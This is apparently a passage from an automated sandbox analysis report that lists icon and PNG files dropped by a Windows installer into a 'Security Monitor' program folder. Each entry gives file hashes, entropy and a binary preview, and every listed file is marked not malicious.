Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-IPM34.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-ITOJ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-KK2D4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-LSETV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-MLP8K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-O6VAJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-PF7TR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-RE78N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-RQFTQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-TJSQR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-TOLJ8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-TOVFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-VL6F7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\linkedin.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................n...n...q...v...w...v...w...x...x...w...w...w...v...w...v...w...v...w...w...w...v...w...w...x...w...v...w...w...u...q...n...n...n...w.......{...y...y...x...z...z...y...y...y...w...x...x...z...y...x...y...y...x...x...x...y...x...z...x...z...{.......w...n...s.......t...r...r...s...r...r...s...s...r...r...r...r...r...q...s...q...s...s...s...s...r...t...s...s...r...r...r...r.......s...y.......s...r...t...s...u...u...s...s...t...u...u...u...t...s...s...s...u...u...s...u...t...t...s...t...t...s...t...u.......x...z.......w...v...v...u...u...w...v...v...u...v...u...v...w...v...u...t...u...u...u...v...w...u...u...v...u...v...u...v.......y...{.......v...w...v...v...w...x...v...x...w...x...w...u...v...u...w...u...u...u...v...x...v...w...v...v...x...x...x...w.......z...\|.......x...y...y......................{...y....P...................O..x...x...z...y......................x...z...y.......{...\|.......{...z...z......................z

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	476
Entropy (8bit):	7.439177858532215
Encrypted:	false
SSDEEP:	12:6v/7iFaKslEOmLWhwS6ANwTrK7GqrOGZdM0Rtc:7aLlCWhP2fqrOLMtc
MD5:	6591C6A99B1C83E8E82DFBC47DB14D09
SHA1:	391F976F86FDA9E1DDA177B835E38BDEB4916F63
SHA-256:	B6EECDBD6BE6362A75FD90B6E8B322EF64CAFCF9AB207411DAAA255C88E50572
SHA-512:	D10B15A84A63C6C6BAAE451363C60DEC05C39BF7559CB26A205B800EAC5E40271DB17C3A49AA2BBC2FF25FF7FC2FB32AB7D0521BE071B18FFF91CF18DFC80C08
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....IDATX...+Cq....Y...$b\xO..R".z#g....BK.9..6.6.a.Vl...(/M..b.ll4g...su....{^.2..y.4I@.......k....Q...u..$..l.n....\|....\|)h...N..F...WUY..\.p0u0j.@.....0..n;,s%.I.,U.'..o...O.1.MM0...&...J\X./....S...x.......f...d....'_.O.r..A..m.[(..a'.#.?....Z.80.."...D.>.5.3.>...b.P\|.T...'...i/l..B....A.:...<G!p...X. ......(.......*...T!..;.=.(......V..V...N...........B..n..W....h.0.po6.9.e.=+..$..@t..R\|.).>>....~........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\messagerie.orange.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\my.screenname.aol.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
